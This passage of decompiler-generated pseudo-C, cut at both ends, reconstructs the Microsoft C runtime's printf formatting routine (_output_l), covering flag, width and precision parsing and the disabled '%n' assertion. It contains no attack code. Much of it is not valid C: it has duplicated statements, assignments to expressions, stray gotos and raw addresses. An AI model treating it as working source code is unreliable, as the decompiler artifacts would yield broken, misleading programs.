											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C510( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404430) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404450) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M00428228))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E00431350( *(_t668 - 0x251) & 0x000000ff, E0041AE20(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00428330( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00428330( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E350();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422E40(_t584))) = 0x16;
																E00422BD0(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041ADF0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428260; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428248))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428288; // 0x7b3f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428274))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4282f4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M004282B8))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404448
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AE20(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0x7e8e98dc
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE20(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0x8a8e9826
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE20(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xc28e9826
																				E00424690(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E004284A0(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004284E0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E004284A0(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E004284A0(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E004284A0(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E004284A0(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E004284C0(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E004284C0(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E004284A0(__ebp + 0x14);
																__eax = E00434040();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E350();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																	__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041ADF0(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BDF0(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404438
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E004284C0(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E004284C0(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
